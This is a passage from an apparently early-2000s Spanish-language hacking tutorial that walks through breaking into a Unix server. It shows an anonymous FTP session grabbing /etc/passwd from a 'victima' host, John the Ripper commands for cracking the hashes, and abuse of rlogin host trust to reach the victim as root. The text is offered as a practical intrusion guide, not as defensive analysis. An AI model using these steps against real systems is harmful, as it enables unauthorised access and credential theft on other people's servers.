:37:21 EST 1997) ready.
User (victima.com:(none)): anonymous
331 Guest login ok, send your complete e-mail
Password:
230-The response 'guest' is not valid
230-Next time please use your e-mail address a
230- for example: [email protected]
230-Welcome, archive user! This is an experim
230-unusual problems, please report them via e
230-If you do have problems, please try using
230-of your password -- this will turn off the
230-be confusing your ftp client.
230-
230 Guest login ok, access restrictions apply.
ftp> cd etc
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
ftp> get passwd
200 PORT command successful.
150 Opening ASCII mode data connection for passwd (79 bytes).
226 Transfer complete.
84 bytes received in 0.05 seconds (1.68 Kbytes/sec)
ftp> by
221 Goodbye.


Mmmm lo que que acabamos de hacer fue conectarnos por Ftp con nuestra vicitma , luego nos fuimos al subdirectorio etc y ejecutamos un dir .. lo cual no nos mostro nada , pero de igual manera probamos coger en passwd con el comando get y nos resulto esto significa que el archivo passwd solo estaba oculto pero no tenia ningun derecho en especial . Ahora solo tenemos que crackear el fichero para obtener las contraseñas para entrar en este server . Hay muchos programas que cumplen esta funcion pero el mas rapido y efectivo que conozco es el John the ripper .

Como crackearlo aki van unos ejemplos --- dados por nuestro amigo TAkER

------------------------------------------------------------------------
john -single passwd
Este metodo toma el nombre del usuario y apartir de el empieza a buscar
haciendo diferentes
combinaciones..=====> Javier Suarez buscara Jsuarez, JavierS,
Sjavier...etc..
---------------------------------------------------------------------------------------------
john -wordfile:lista_de_palabras passwd
Este toma un archivo de palabras y lo compara contra todos los passwd
del file a crackear
por lo tanto te toca conseguir una lista de palabras, /modo propaganda
on/ por alla en mi
pagina en la seccion de archivos encontraras un sitio FTP donde podras
bajar como nmil listas
de palabras pa que empieces a probar el john /modo propaganda off/
---------------------------------------------------------------------------------------------
john -incremental:all passwd
Este metodo es algo como de fuerza bruta, por que prueba todas las
combinaciones posibles y
de seguro algo conseguiras...lo malo es que es demasiado lento.
---------------------------------------------------------------------------------------------
heyyy casi lo olvido, hay una opcion buenisima...
john -restore
Inicia el john desde donde terminaste la ultima sesion, es buena en caso
de que te toque
suspender el trabajo por algun motivo, no la he ensayado en todas, pero
debe servir lo mismo
---------------------------------------------------------------------------------------------

Ahora ya tenemos un user y password para entrar en la maquina del root ahora vamos al ataque .
nos logearemso al equipo del ROOT si es que las claves que crackeo nuestro john son correctas ,
a todo esto paciencia que puede demorarse bastante en desencriptar las password , en especial
si usas el metodo incrmental ... john -i passwd .

login:root
password:********

Welcome at .............. last login bla bla bla!!!!!

root> rlogin victima.com
...
welcome at vicitma.com ..............



Bien nos ha dado resultado !!!!
Lo que acabamos de hacer es logearnos al equipo de donde se conecta el root , que en este caso es otro server UNIX , ya que a este fue al cual pudimos sacarle el fichero passwd , ahora estando adentro provamos hacer un rlogin a la maquina victima , normalmente cuando el root se conecta desde otra maquina , para evitarse estar introduciendo el login y passwd a cada rato , crea a su maquina en
un archivo ubicado en etc/.hosts , cuando nos referimos a maquinas nos referimos a sus direcciones ip , es decir que si tu tienes una cuenta shell o trabajas con linux y pudes meter tu ip en este fichero ,al hacer un rlogin no te pedira ni login ni passwd .... Es asi como entramos al sistema como ROOT sin correr ningun exploit pero si con bastante trabajo como veran.

  Ultimos agregados
Messenger 7.0| Ya salio la ultima version del Messenger el cual incluye guiños y una cantidad de...
>>More info...

Haz crecer esta web...
Link One | Gana dinero a travez de hacker adictos y asi tanto Uds. como nosotros ganaremos...
>>Mas Informacion...
 
© Copyright hackeradictos.com 2003. todos los derechos reservados.
Hosted by www.Geocities.ws

1